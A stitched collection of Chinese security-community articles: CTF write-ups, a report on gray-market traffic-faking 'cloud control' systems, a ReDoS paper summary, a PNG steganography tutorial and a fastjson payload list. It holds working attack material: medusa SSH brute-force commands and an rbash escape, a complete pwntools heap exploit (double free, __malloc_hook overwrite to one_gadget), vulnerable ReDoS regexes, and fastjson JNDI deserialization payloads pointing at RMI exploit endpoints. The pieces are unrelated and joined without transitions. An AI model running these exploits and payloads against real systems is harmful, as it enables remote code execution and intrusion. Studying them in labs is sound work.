+++[- >++++ ++++< ]>+++ .++++ +.--- ----. <++++ [->++ ++<]> +.<++ ++[->
----< ]>-.+ +.<++ ++[-> ++++< ]>+.< +++[- >---< ]>--- ---.< +++[- >+++<
]>+++ +.+.< +++++ ++++[ ->--- ----- -<]>- -.<++ +++++ ++[-> +++++ ++++<
]>++. ----. <++++ ++++[ ->--- ----- <]>-- ----- ----- ---.< +++++ +[->+
+++++ <]>++ +++.< +++++ +[->- ----- <]>-- ---.< +++++ +++[- >++++ ++++<
]>+++ +++++ .---- ---.< ++++[ ->+++ +<]>+ ++++. <++++ [->-- --<]> -.<++
+++++ +[->- ----- --<]> ----- .<+++ +++++ +[->+ +++++ +++<] >+.<+ ++[->
---<] >---- .<+++ [->++ +<]>+ +.--- -.<++ +[->- --<]> --.++ .++.- .<+++
+++++ [->-- ----- -<]>- ---.< +++++ ++++[ ->+++ +++++ +<]>+ +++++ .<+++
[->-- -<]>- ----. <+++[ ->+++ <]>++ .<+++ [->-- -<]>- --.<+ +++++ ++[->
----- ---<] >---- ----. <++++ +++[- >++++ +++<] >++++ +++.. <++++ +++[- >---- ---<] >---- ---.< +++++ ++++[ ->+++ +++++ +<]>+ ++.-- .++++ +++.<
+++++ ++++[ ->--- ----- -<]>- ----- --.<+ +++++ +++[- >++++ +++++ <]>++
+++++ +.<++ +[->- --<]> -.+++ +++.- --.<+ +++++ +++[- >---- ----- <]>-.
<++++ ++++[ ->+++ +++++ <]>++ +++++ +++++ .++++ +++++ .<+++ +[->- ---<]
>--.+ +++++ ++.<+ +++++ ++[-> ----- ---<] >---- ----- --.<+ +++++ ++[->
+++++ +++<] >+.<+ ++[-> +++<] >++++ .<+++ [->-- -<]>- .<+++ +++++ [->-- ----- -<]>- ---.< +++++ +++[- >++++ ++++< ]>+++ +++.+ ++.++ +++.< +++[- >---< ]>-.< +++++ +++[- >---- ----< ]>--- -.<++ +++++ +[->+ +++++ ++<]>
+++.< +++[- >+++< ]>+++ .+++. .<+++ [->-- -<]>- ---.- -.<++ ++[-> ++++<
]>+.< +++++ ++++[ ->--- ----- -<]>- --.<+ +++++ +++[- >++++ +++++ <]>++
.+.-- .---- ----- .++++ +.--- ----. <++++ ++++[ ->--- ----- <]>-- ----- .<+++ +++++ [->++ +++++ +<]>+ +++++ +++++ ++++. ----- ----. <++++ ++++[
->--- ----- <]>-- ----. <++++ ++++[ ->+++ +++++ <]>++ +++++ +++++ ++++.
<+++[ ->--- <]>-- ----. <++++ [->++ ++<]> ++..+ +++.- ----- --.++ +.<++
+[->- --<]> ----- .<+++ ++++[ ->--- ----< ]>--- --.<+ ++++[ ->--- --<]>
----- ---.- --.<
这个在ctf中经常出,brainfuck加密
解密得到
You can enter into matrix as guest, with password k1ll0rXX
Note: Actually, I forget last two characters so I have replaced with XX try your luck and find correct string of password.
大概意思是你可以使用`guest`用户登录，密码为`k1ll0rXX`，可是后面两个字符忘记了，要我们自己试
#### ssh爆破
这里我们使用crunch来生成密码字典
`crunch 8 8 -t k1ll0r%@ > 1.txt`
然后使用medusa来爆破
`medusa -h 192.168.1.115 -u guest -P 1.txt -M ssh -t 5`
密码为`k1ll0r7n`
#### rbash逃逸
可是当我运行`ls`的时候
guest@porteus:~$ ls
-rbash: /bin/ls: restricted: cannot specify `/' in command names
查了下`rbash`，这是一种受限的bash,就是很多命令不能执行,
参考下这篇[文章](http://www.4hou.com/penetration/11674.html)
这里我发现只有`vi`命令还可以使用,好好利用一下
输入`vi`
接下来我们将`/bin/bash`导出到`shell`环境变量，将`“/usr/bin”`目录导出到`PATH`环境变量，
export SHELL=/bin/bash:$SHELL
export PATH=/usr/bin:$PATH
以为题目要求是查看在root文件夹下flag.txt,我们试试`sudo
su`,发现`su`找不到命令,我们将`“/bin”`导出到PATH环境变量中。再来试试
export PATH=/bin:$PATH
得到flag | 社区文章 |
# 藏在二手平台里的交易“暗语”，招嫖、博彩引流别有洞天
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
之前，我们整体分析了热评里隐藏的色情产业，挖掘了色情网站引流的攻防套路。近期，通过对二手交易平台里色情擦边球商品的分析过程中，发现了其背后暗藏的黑灰产套路
**“暴增系统”**
。通常情况，正规的二手交易平台在使用过程中用户并不会发现明显的色情信息，但是如果搜索特殊的关键词，就会发现另一番天地。真的是，但凡流量聚集的互联网产品都很容易被「色情」惦记。接下来，卫士妹带大家一步步拆解其背后的玩法。
## 二手交易平台的“暗语”
### “招嫖”暗语
在二手交易平台，对特殊关键词进行搜索并按照价格从低到高的顺序排列后，会看到很多奇怪的“商品”信息，比如上门维修还需要有年龄、身高的限制？这就是别有洞天的地方，实为招嫖“暗语”。
### “博彩”引流暗语
在二手交易平台上，一些商品的评论中可以看到一些带有行业黑话的评论，乍看以为是色情，点击评论，实际上是博彩网址。此操作为博彩行业引流的常用手段。
那么问题来了，这些帖子是如何流转到二手平台，帖子又是如何发布出来的呢？
黑灰产业里的神器—— **“暴增系统”，** 此类软件号称“助力卖家 七天上首页”。
通过对比这些类似的平台，我们发现其主要有以下功能：
**总的来说，就是店铺数据造假！**
这些伪造的数据是如何实现的呢？
通过产品的功能，我们发现了其中的奥秘：
## “暴增系统”是如何操作以上功能呢？
这里面又涉及到另一黑灰产项目： **云控**
。云控简单理解就是，在手机上安装指定的软件，并开启相关权限，通过电脑远程控制多个手机设备，实现批量管理。以某二手平台的“暴增系统”为例为大家还原云控实现的整个过程。
### 云控软件绑定过程
1、手机安装其客户端软件，开启相关权限，安装指定的APP；
2、在网页端管理后台，完成手机设备绑定，群控设备数量1-100个。
### 平台运营管理
在网页管理后台，完成商品 **批量采集、发布、管理、养号** 等操作。
商品发布：指的是发布普通商品、免费送商品、拍卖商品、房屋出租。
商品批量采集：指的是通过店铺淘口令或电商平台网址解析出店家的所有宝贝，并发布上线。
养号：指的是模拟用户操作，实现批量管理账号。
**借助“暴增系统”，黑灰产人员拥了批量发布、管理、养号、引流商品的能力，为色情行业、博彩行业的推广奠定了基础。**
因此，我们在二手交易平台中看到了色情行业、博彩行业、各类诈骗产业，例如冒充官方客服、售卖虚假商品等等。同时，此类“暴增系统”还包含防封功能（关键词监控）和教程，企图躲避平台监管。 | 社区文章 |
本文摘自论文《Freezing the Web: A Study of ReDoS Vulnerabilities in JavaScript-based
Web Servers》，发表于27届USENIX Security Symposium（2018）。
* * *
正则表达式(regular
expression)就是用一个“字符串”来描述一个特征,然后去验证另一个“字符串”是否符合这个特征，是各类软件中广泛应用。但正则表达式有一缺点，就是很容易出错，而这可以帮助攻击者绕过检查，开发者却更相信正则表达式的正确性。
正则表达式的一个安全方面的考虑却常常被忽略——`性能`，即字符串匹配正则表达式的时间。一般来说，匹配正则表达式可能需要几分钟到几个小时。比如，30个`a`匹配正则表达式`/(a+)+b/`在Node.js
JavaScript平台上需要15秒钟时间，而匹配35个a需要8分钟时间。如果服务器应用时存在性能问题，那么攻击者就可以利用该漏洞构造一起很难匹配的输入，发起ReDoS（regular
expression denial of service）攻击。
# ReDoS攻击
ReDoS攻击是一种算法复杂性攻击，利用了字符串匹配正则表达式的最坏情况。
回溯算法并不是正则匹配中用的最多的，但因其容易实现是使用最广泛的一种匹配算法。下面是一些正则表达式和输入，算法需要进行多次回溯操作。
## 回溯算法匹配
## ReDoS攻击
ReDOS攻击就利用了这些`pathological
cases`。以正则表达式`/ˆa*a*b$/`为例，如图2所示，输入字符串为`aaa`。每个字符`a`都可以用两次传递来匹配，`4 ! 5 and 8 !
9`。在每一步，算法需要决定采取了哪些过渡。最后，因为输入字符串中没有字母b，所以算法在状态11会失败。但在做出输入与模式不匹配的结论前，算法会尝试所有可能的方式来匹配字符a，比如回溯3次。研究人员发现这些类型都存在ReDoS漏洞，以此说明服务端JavaScript的重要性。
# Server-side JavaScript
JavaScript是最流行的编程语言之一，但主要用于客户端任务。而Node.js的广泛应用使JavaScript开始应用到服务端。但一个主循环的计算请求会减慢所有的入请求，比如匹配指数级复杂度的正则表达式的字符串匹配会减慢所有的请求处理。因为在基于JavaScript的服务器中，正则表达式是在主循环中匹配的，所以针对基于JavaScript的服务器的ReDoS攻击造成的危害要比对多线程的web服务器造成的危害大很多。
# 使用的方法
## npm分析
研究人员认为如果正则表达式的输入线性增长，匹配时间超线性增长，那么这个正则表达式就是有漏洞的。研究人员发现主流的npm模块中存在ReDoS漏洞。
* 首先，下载主流的模块并用JS代码的AST来提取正则表达式；
* 然后，通过查询数据库来找出有漏洞的特定模式；
## 创建漏洞利用
基于npm模块的ReDoS
漏洞，研究人员创建了利用这些模块的攻击web服务器的漏洞利用。主要思想是假设服务端web应用可能使用该模块。最后，建立一个快速安装并实现使用该模块的web应用例子。然后，创建用户控制数据可以到达有漏洞的正则表达式的HTTP请求，构造可以触发长匹配时间的输入值。
**有漏洞的正则表达式：**
例1: content
/^([^\/]+\/[^\ s ;]+) (?:(?:\ s *;\s* boundary =(?: " ([^"
]+)" |([^; "]+) )) |(?:\ s*;\ s *[^=]+=(?:(?: " (?:[^ "
]+)") |(?:[^; "]+) )))*$/i
例2: ua-parser-js
/ip[ honead ]+(.* os\s([\w]+) *\ slike \ smac |;\ sopera )/
### HTTP级的Payload创建
对每个payload，创建应用场景：
var MobileDetect = require ("mobile - detect ");
var headers = req . headers ["user - agent "];
var md = new MobileDetect ( headers );
md. phone ();
## 分析网站ReDoS漏洞影响
研究人员发现通过模块接口，有漏洞的正则表达式可以利用这些模块发现ReDoS攻击。每个漏洞都至少出现在一个包中，而不同包的依赖和下载数是不同的。
针对不同的漏洞模块和header的使用场景，研究人员给出了漏洞利用。
# 预防措施
首先，为了限制通过HTTP header传播的payload的效果，header的大小应该做出限制。这种方法可以缓解一些潜在攻击的效果，但对于与HTTP
header相关的漏洞的效果是有限的。因为从网络接收的输入也可以被利用来进行攻击。
第二种预防机制是使用更复杂的正则表达式引擎，这些引擎应该确保线性匹配的时间。问题是这些引擎并不支持高级正则表达式特征，比如先行断言(lookahead)和后行断言(lookbehind)。Davis等人提出一种只调用回溯引擎的混合解决方案，Rust等语言也已经采用了这种方案。但这并不能完全解决该问题，因为一些含有高级特征的正则表达式仍可能含有ReDoS漏洞。研究人员建议Node.js给正则表达式API加一个timeout参数，如果某个匹配花费时间太长，那么Node.js就停止匹配。这也是一种易于实现和应用的方法。
# 结论
本文分析了基于JavaScript的web服务器的ReDoS漏洞，并说明该漏洞是影响主流网站的重要问题。研究人员在实验中共发现8个漏洞，影响超过339个主流网站。攻击者可以阻塞有漏洞的网站几秒钟甚至更长的时间。
论文下载地址：<https://www.usenix.org/system/files/conference/usenixsecurity18/sec18-staicu.pdf>
研究PPT下载地址：<https://www.usenix.org/conference/usenixsecurity18/presentation/staicu> | 社区文章 |
# CTF萌新学做强网杯线下题secular
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1、逆向分析
利用checksec查看程序，保护全部开启。
Canary : Yes
NX : Yes
PIE : Yes
Fortify : Yes
RelRO : Full
运行secular，是一个典型的菜单程序，分为以下5个操作。
☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆
☆ ☆ Easy Game ☆ ☆
☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆
1:Add
2:Show
3:Delete
4:Magic
5:Exit
Your Choice :
Add选项会创建一个结构体，如下所示：
struct st{
int flag;
int LuckyNumber;
char *Name;//Name通过malloc(size)分配，size大小由用户自己输入
}
IDA pro分析相应的操作函数。
unsigned __int64 add()
{
struc_st *v0; // rbp
unsigned int Namelen; // er13
void *Name_ptr; // rbx
__int64 v3; // rdx
unsigned __int64 result; // rax
unsigned __int64 v5; // rt1
unsigned __int64 v6; // [rsp+8h] [rbp-30h]
v6 = __readfsqword(0x28u);
if ( unk_202040 > 12 )
goto LABEL_13;
v0 = (struc_st *)malloc(0x10uLL); //申请0x10大小的堆空间，保存st结构体数据
puts("Input Length of Name:");
Namelen = read_str();
Name_ptr = malloc((signed int)Namelen);//申请Namelen大小的堆空间，保存Name字符串
__printf_chk(1LL, (__int64)"This is a gift for you %xn");
if ( !Name_ptr )
goto LABEL_7;
__printf_chk(1LL, (__int64)"Input Your Name:");
read(0, Name_ptr, Namelen);
v0->Name = (__int64)Name_ptr;
v0->flag = 1;
__printf_chk(1LL, (__int64)"Input Your Luckynumber:");
v0->LuckyNumber = read_str();
v3 = 0LL;
while ( qword_202060[v3] )
{
if ( ++v3 == 10 )
{
puts("You Must Did Something Undescribe!");
LABEL_7:
exit(-1);
}
}
++unk_202040;
qword_202060[(signed int)v3] = v0;//全局数组保存Add操作的st结构体指针
v5 = __readfsqword(0x28u);
result = v5 ^ v6;
if ( v5 != v6 )
{
LABEL_13:
puts("You Are Too Stupid");
exit(-1);
}
return result;
}
unsigned __int64 delete()
{
signed int v0; // eax
__int64 v1; // rbp
unsigned __int64 v3; // [rsp+8h] [rbp-20h]
v3 = __readfsqword(0x28u);
__printf_chk(1LL, (__int64)"Input Index:");
v0 = read_str();
if ( v0 > 9 )//index不能超过9，即申请的st结构体不能超过9个
{
puts("Invalid Index");
exit(-1);
}
v1 = v0;
free(*(void **)(qword_202060[v0] + 8LL));//释放st->name空间
*(_DWORD *)qword_202060[v1] = 0;//flag=0
return __readfsqword(0x28u) ^ v3;
}
在delete()函数中，free前只检查了 _index_ 的合法性，并且没有在free后对指针进行置空，所以存在use after
free，也可以double free。
unsigned __int64 magic()
{
int magic_num; // eax
__int64 v1; // rdx
__int64 v2; // rcx
signed int v3; // er12
__int64 v4; // rbx
_DWORD *v5; // rdi
unsigned __int64 v7; // [rsp+8h] [rbp-20h]
v7 = __readfsqword(0x28u);
puts("Input Your Magic Number:");
magic_num = read_str();
v1 = 0LL;
while ( 1 )
{
v2 = qword_202060[v1];
v3 = v1;
if ( v2 )
{
if ( *(_DWORD *)(v2 + 4) == magic_num )
break;
}
if ( ++v1 == 10 )
{
v3 = 10;
break;
}
}
v4 = 0LL;
do
{
while ( 1 )
{
v5 = (_DWORD *)qword_202060[v4];
if ( !*v5 )
break;
if ( v3 < (signed int)++v4 )
return __readfsqword(0x28u) ^ v7;
}
free(v5);
qword_202060[v4++] = 0LL;
}
while ( v3 >= (signed int)v4 );
return __readfsqword(0x28u) ^ v7;
}
magic()函数通过输入的magic
number也就是st结构体的LuckyNumber来free掉相应的st结构体，并将全局数组qword_202060[]保存的指针置空。
## 2、漏洞利用
因为PIE开启，首先得利用Unsotred
bin泄露出Unsorted(av)，其跟libc基址的偏移是固定的，可以通过调试即libc的地址，从而得到libc的基址，继而可以根据给出的lib.so.6文件中
___malloc_hook_ 的偏移计算出其在内存中的虚拟地址；由于RelRO保护为Full因此got表无法改写，而利用double
free可以实现[Fastbin attack](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/fastbin_attack/)，将0x70大小chunk申请至 ___malloc_hook_ 附近，从而将 ___malloc_hook_
的内容改为one_gadget地址，最终程序调用malloc函数时会通过 ___malloc_hook_ 劫持程序流程执行one_gadget。
### 2.1 利用Unsorted bin泄露libc的地址
首先通过add操作申请3个0x100、0x10、0x10的堆空间（对应的chunk大小为0x110、0x20、0x20），释放第0、2号，此时2号对应的chunk进入fastbin，0号对应的chunk根据glic堆的管理机制进入Unsorted
bin，由于Unsorted bin是一个双向链表，此时链表中只有一个0x110大小的Unsorted bin，其fd和bk指针会指向Unsorted
bin的链表头，该链表头与libc基址的偏移是固定的，进而在gdb中调试中计算此地址到libc基址的0x3c4b78。此时再申请0x100大小的堆空间，就会分配刚刚释放的0号chunk，此时打印add的内容就会泄露出bk指针保存的链表头地址，再减去偏移就得到libc的基址。
有关Glibc堆的数据结构请参考[堆的数据结构](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/heap_structure/)。
#use unsortbin to leak libc address
add(0x100, "0"*0x8, "0")
add(0x10, "1"*0x8, "1")
add(0x10, "2"*0x8, "2")
dele(0)
dele(2)
#gdb.attach(p)
add(0x100, "12345678", "3")//fd指针被覆盖为8字节数据，bk还是保存的链表头，如上图所示。
show(3)
p.recvuntil("12345678")
#0x7f4f10f4cb78-0x7f4f10b88000=0x3c4B78
offset = 0x3c4b78
log.success("offset:"+hex(offset))
libc_base = u64(p.recvuntil("n")[ :-1].ljust(8, "x00")) - offset
log.success("libc_base:"+hex(libc_base))
### 2.2 利用Double free&Fastbin attack改写__malloc_hook
上一步通过泄露得到libc基址，从而就可以计算出 ___malloc_hook_ 的虚拟地址。我们通过Fastbin
attack，申请一个0x70大小的chunk到 ___malloc_hook_ 附近，这个附近到底是多少呢？
由于fastbin在malloc过程中，为了满足fastbin_index检查，我们通过gdb调试找到 ___malloc_hook_
-0x23处正好有一个 _size=0x7f_ 的位置，如下图所示。
#double free to change __malloc_hook
one_gadget = 0xf02a4
log.success("one_gadget:"+hex(libc_base+one_gadget))
malloc_hook = libc_base + libc.symbols["__malloc_hook"]
log.success("__malloc_hook:"+hex(malloc_hook))
#use fastbin double free to change __malloc_hook
add(0x60, "a"*0x8, "4")
add(0x60, "b"*0x8, "5")
dele(4)
dele(5)
dele(4)
#malloc_hook-0x13, fake fastbin size 0x7f to pass fastbin_index check
add(0x60, p64(malloc_hook-0x13-0x10), "6")
add(0x60, "e"*0x8, "7")
add(0x60, "f"*0x8, "8")
add(0x60, "a"*0x13+p64(libc_base+one_gadget), "9")
此时申请的9号chunk位于 ___malloc_hook_ -0x13-0x10的位置，gdb调试查看，发现 ___malloc_hook_
被改写为one_gadget，如下图所示。
其中one_gadget可以通过工具从lib.so.6（我的版本libc-2.23.so）中帮我们获取（[one_gadget](https://github.com/david942j/one_gadget)工具），加上泄露的libc基址即one_gadget在内存中的虚拟地址。
经测试，0xf02a4处的one_gadget可以执行成功。
### 2.3 利用__malloc_hook劫持程序流程
直接调用malloc无法触发 ___malloc_hook_
，因为one_gadgets的条件限制不满足，执行均不会成功，此时我们再一次利用double free触发 _malloc_printerr_
，在错误处理过程中会调用malloc触发 ___malloc_hook_ 从而执行one_gadget得到shell，如下图所示。
dele(6)
dele(6)
p.interactive()
### 2.4 Exploit Script
#!/usr/bin/env python2
#coding=utf-8
from pwn import *
import time
local = 1
debug = 1
file = "./secular"
libcPath = ""
if local:
p = process(file, env={"LD_PRELOAD": libcPath})
elf = ELF(file)
libc = elf.libc
else:
p = remote("ip", port=1234)
if debug:
context.log_level = "debug"
def add(nameLen, name, luckyNum):
p.sendlineafter("Choice :", "1")
p.sendlineafter("Name:", str(nameLen))
p.sendafter("Name:", name)
p.sendlineafter("Luckynumber:", luckyNum)
def show(index):
p.sendlineafter("Choice :", "2")
p.sendlineafter("Index:", str(index))
def dele(index):
p.sendlineafter("Choice :", "3")
p.sendlineafter("Index:", str(index))
def magic(number):
p.sendlineafter("Choice :", "4")
p.sendlineafter("Number:", str(number))
#use unsortbin to leak libc address
add(0x100, "0"*0x8, "0")
add(0x10, "1"*0x8, "1")
add(0x10, "2"*0x8, "2")
dele(0)
dele(2)
#gdb.attach(p)
add(0x100, "12345678", "3")
show(3)
p.recvuntil("12345678")
#0x7f4f10f4cb78-0x7f4f10b88000=0x3c4B78
offset = 0x3c4b78
log.success("offset:"+hex(offset))
libc_base = u64(p.recvuntil("n")[ :-1].ljust(8, "x00")) - offset
log.success("libc_base:"+hex(libc_base))
#double free to change __malloc_hook
one_gadget = 0xf02a4
log.success("one_gadget:"+hex(libc_base+one_gadget))
malloc_hook = libc_base + libc.symbols["__malloc_hook"]
log.success("__malloc_hook:"+hex(malloc_hook))
#use fastbin double free to change __malloc_hook
add(0x60, "a"*0x8, "4")
add(0x60, "b"*0x8, "5")
dele(4)
dele(5)
dele(4)
#malloc_hook-0x13, fake fastbin size 0x7f to pass fastbin_index check
add(0x60, p64(malloc_hook-0x13-0x10), "6")
add(0x60, "e"*0x8, "7")
add(0x60, "f"*0x8, "8")
add(0x60, "a"*0x13+p64(libc_base+one_gadget), "9")
# directly malloc doesn't work
# double free triggers error and it will call malloc
dele(6)
dele(6)
p.interactive()
## 3、思考
该题是一道典型的Double Free&Fastbin
Attack，由于保护全开，常规的改写got表在这里并不适用。可以说通过这一道题可以学到CTF很多知识。这道题不难，但考查的知识点却很多，有Double
Free漏洞原理、chunk数据结构、Fast bin、Unsorted bin、hook机制等等，新手要做这一道题首先必须深入掌握Glibc
heap的管理机制，只有扎实掌握了基本知识点并能熟练运用，以后再碰到这种组合拳类型的题就能迎刃而解了。
当我们学习得更多的时候，会发现这道题还有几种其他的解法，欢迎大家实践讨论。例如：
* 利用__free_hook劫持程序流程。
* 利用Fastbin attack修改 __IO_2_1_stdout_ 的vtable指针指向one_gadget。也可以直接伪造一个填充one_gadget的chunk，将 __IO_jump_t_ 的地址更改为伪造的chunk地址。
* 利用Fastbin attack攻击栈，将malloc申请的堆迁移到栈中，利用ROP来getshell。
作为一个CTF PWN萌新，以上内容肯定有不对的地方，恳请大家批评指正。 | 社区文章 |
# 实验简介
隐写术是关于信息隐藏，即不让计划的接收者之外的任何人知道信息的传递事件（而不只是信息的内容）的一门技巧与科学。英文写作Steganography，而本套教程内容将带大家了解一下CTF赛场上常见的图片隐写方式，以及解决方法。有必要强调的是，隐写术与密码编码是完全不同的概念。
# 实验内容
本次图片隐写实验包括四大部分
* 一、附加式的图片隐写
* 二、基于文件结构的图片隐写
* 三、基于LSB原理的图片隐写
* 四、基于DCT域的JPG图片隐写
* 五、数字水印的隐写
* 六、图片容差的隐写
# 第二部分 基于文件结构的图片隐写
# 实验环境
* 操作机：Windows XP
* 实验工具：
* 010Editor
* CRC Calculator
## 背景知识
首先这里需要明确一下我这里所说的文件结构是什么意思。文件结构特指的是图片文件的文件结构。我们这里主要讲的是PNG图片的文件结构。
PNG，图像文件存储格式，其设计目的是试图替代GIF和TIFF文件格式，同时增加一些GIF文件格式所不具备的特性。是一种位图文件(bitmap
file)存储格式，读作“ping”。PNG用来存储灰度图像时，灰度图像的深度可多到16位，存储彩色图像时，彩色图像的深度可多到48位，并且还可存储多到16位的α通道数据。
对于一个正常的PNG图片来讲，其文件头总是由固定的字节来表示的，以16进制表示即位 89 50 4E 47 0D 0A 1A 0A，这一部分称作文件头。
标准的PNG文件结构应包括：
* PNG文件标志
* PNG数据块
PNG图片是有两种数据块的，一个是叫关键数据块，另一种是辅助数据块。正常的关键数据块，定义了4种标准数据块，个PNG文件都必须包含它们。
它们分别是长度，数据块类型码，数据块数据，循环冗余检测即CRC。
我们这里重点先了解一下，png图片文件头数据块以及png图片IDAT块，这次的隐写也是以这两个地方位基础的。
**png图片文件头数据块**
即IHDR，这是PNG图片的第一个数据块，一张PNG图片仅有一个IHDR数据块，它包含了哪些信息呢？IHDR中，包括了图片的宽，高，图像深度，颜色类型，压缩方法等等。
如图中蓝色的部分即IHDR数据块。
**IDAT 数据块**
它存储实际的数据，在数据流中可包含多个连续顺序的图像数据块。这是一个可以存在多个数据块类型的数据块。它的作用就是存储着图像真正的数据。
因为它是可以存在多个的，所以即使我们写入一个多余的IDAT也不会多大影响肉眼对图片的观察
**下面进行实验Part 2 基于文件结构的隐写**
## 高度被修改引起的隐写
背景知识中，我们了解到，图片的高度，宽度的值存放于PNG图片的文件头数据块，那么我们就是可以通过修改PNG图片的高度值，来对部分信息进行隐藏的。
> * 实验：
>
- 在实验机中找到隐写术目录，打开图片隐写，打开图片隐写第二部分文件夹
- 在该文件夹找到 hight.png，
- 双击打开图片，我们先确认一下图片内容并没有什么异常
- 正如前文所说，我们这个实验部分讲的是图片高度值被修改引起的的隐写方式，所以我们010Editor
- 在010Editor运行PNG模板，这样方便于我们修改PNG图片的高度值
- 找到PNG图片高度值对应的地方，然后修改为一个较大的值，并重新计算，修改CRC校验值，并保存文件
- 打开保存后的图片，发现底部看到了之前被隐写的信息
**用010Editor打开图片，运行PNG模板**
10 editor呢？因为这个16进制编辑器，有模版功能，当我们运行模版后，可以轻易的找到图片的各个数据块的位置以及内容。
10 editor这个16进制编辑器，有模版功能，当我们运行模版后，可以轻易的找到图片的各个数据块的位置以及内容。
**找到PNG图片高度值所对应的位置，并修改为一个较大的值**
我们找到IHDR数据块，并翻到struct IHDR Ihdr位置，修改height的值到一个较大的值，如从700修改到800。
**使用CRC Calculator重新计算CRC校验值**
输入参数，然后点击Calculator计算，得到CRC值
为什么要重新计算CRC校验值呢？防止图片被我们修改后，自身的CRC校验报错，导致图片不能正常打开。
**修改相应的CRC校验值，为我们重新计算后数值**
## 思考
这个实验，我们进行了PNG图片高度修改以及CRC校验值的重计算，那么请大家以下问题
1. JPG图片是否也有这样的隐写形式呢？
2. 了解JPG以及GIF等图片文件的格式。
## 隐写信息以IDAT块加入图片
在背景知识中，我们提到了一个重要的概念就是图片的IDAT块是可以存在多个的，这导致了我们可以将隐写西信息以IDAT块的形似加入图片。
> * 实验：
>
- 在实验机中找到隐写术目录，打开图片隐写，打开图片隐写第二部分文件夹
- 在该文件夹找到 hidden.png，
- 双击打开图片，我们先确认一下图片内容并没有什么异常
- 使用pngcheck先对图片检测
- 在pngcheck的检测下，我们会发现异常信息，我们对异常的块进行提取
- 编写脚本，提取异常信息
**前景知识**
pngcheck可以验证PNG图片的完整性（通过检查内部CRC-32校验和&bra;比特&ket;)和解压缩图像数据；它能够转储几乎所有任选的块级别信息在该图像中的可读数据。
我们使用pngcheck -v hidden.png 如此的命令对图片进行检测
**使用pngcheck对图片进行检测**
我们使用命令：
pngcheck -v hidden.png
对图片的文件结构进行检测。
**发现异常，并判断异常的原因**
我们会发现，图片的的数据块形式是如下的
Type: IHDR
Size: 13
CRC ： 5412913F
Pos ： 33
Type: IDAT
Size: 10980
CRC ： 98F96EEB
Pos ： 11025
Type: IEND
Size: 0
CRC ： AE426082
我们会惊讶的发现pos为11025的size居然为0，这是一块有问题的地方，我们可以怀疑，这一块是隐写的信息。
**编写脚本并提取内容**
#!/usr/bin/python
from struct import unpack
from binascii import hexlify, unhexlify
import sys, zlib
# Returns [Position, Chunk Size, Chunk Type, Chunk Data, Chunk CRC]
def getChunk(buf, pos):
a = []
a.append(pos)
size = unpack('!I', buf[pos:pos+4])[0]
# Chunk Size
a.append(buf[pos:pos+4])
# Chunk Type
a.append(buf[pos+4:pos+8])
# Chunk Data
a.append(buf[pos+8:pos+8+size])
# Chunk CRC
a.append(buf[pos+8+size:pos+12+size])
return a
def printChunk(buf, pos):
print 'Pos : '+str(pos)+''
print 'Type: ' + str(buf[pos+4:pos+8])
size = unpack('!I', buf[pos:pos+4])[0]
print 'Size: ' + str(size)
#print 'Cont: ' + str(hexlify(buf[pos+8:pos+8+size]))
print 'CRC : ' + str(hexlify(buf[pos+size+8:pos+size+12]).upper())
print
if len(sys.argv)!=2:
print 'Usage: ./this Stegano_PNG'
sys.exit(2)
buf = open(sys.argv[1]).read()
pos=0
print "PNG Signature: " + str(unpack('cccccccc', buf[pos:pos+8]))
pos+=8
chunks = []
for i in range(3):
chunks.append(getChunk(buf, pos))
printChunk(buf, pos)
pos+=unpack('!I',chunks[i][1])[0]+12
decompressed = zlib.decompress(chunks[1][3])
# Decompressed data length = height x (width * 3 + 1)
print "Data length in PNG file : ", len(chunks[1][3])
print "Decompressed data length: ", len(decompressed)
height = unpack('!I',(chunks[0][3][4:8]))[0]
width = unpack('!I',(chunks[0][3][:4]))[0]
blocksize = width * 3 + 1
filterbits = ''
for i in range(0,len(decompressed),blocksize):
bit = unpack('2401c', decompressed[i:i+blocksize])[0]
if bit == '\x00': filterbits+='0'
elif bit == '\x01': filterbits+='1'
else:
print 'Bit is not 0 or 1... Default is 0 - MAGIC!'
sys.exit(3)
s = filterbits
endianess_filterbits = [filterbits[i:i+8][::-1] for i in xrange(0, len(filterbits), 8)]
flag = ''
for x in endianess_filterbits:
if x=='00000000': break
flag += unhexlify('%x' % int('0b'+str(x), 2))
print 'Flag: ' + flag
脚本如上，flag **DrgnS{WhenYouGazeIntoThePNGThePNGAlsoGazezIntoYou}.**
## 思考
1. 我们是否可以将一张二维码以IDAT块的形式写入图片呢？
2. 试着将信息以IDAT块的形式写入图片
保存后，重新打开图片，我们就能看到被隐藏的内容 | 社区文章 |
前一段工作中，涉及到了绕过规则的内容，轮到fastjson，心里还是有点犯怵。没办法，从头开始了解，先从漏洞复现开始。这里真的要感谢p牛，vulhub对于刚了解一个组件或者漏洞的初学者来说，真的帮了很大的忙！
fastjson已知公开的payload有很多了，这里大致做一个总结（可能不全）
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit",""autoCommit":true}
{"@type":"LLcom.sun.rowset.RowSetImpl;;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true} 1.2.42
{"@type":"[com.sun.rowset.RowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true} 1.2.25v1.2.43
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties"："data_source":"rmi://localhost:1099/Exploit"}} 1.2.25
{"@type":"Lcom.sun.rowset.RowSetImpl;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
{\"@type\":\"com.zaxxer.hikari.HikariConfig\",\"metricRegistry\":\"rmi://127.0.0.1:1099/Exploit\"}1.2.60
{\"@type\":\"org.apache.commons.configuration.JNDIConfiguration\",\"prefix\":\"rmi://127.0.0.1:1099/Exploit\"} 1.2.60
{\"@type\":\"org.apache.commons.configuration2.JNDIConfiguration\",\"prefix\":\"rmi://127.0.0.1:1099/Exploit\"} 1.2.61
{\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\",\"asText\":\"rmi://localhost:1099/Exploit\"} 1.2.62
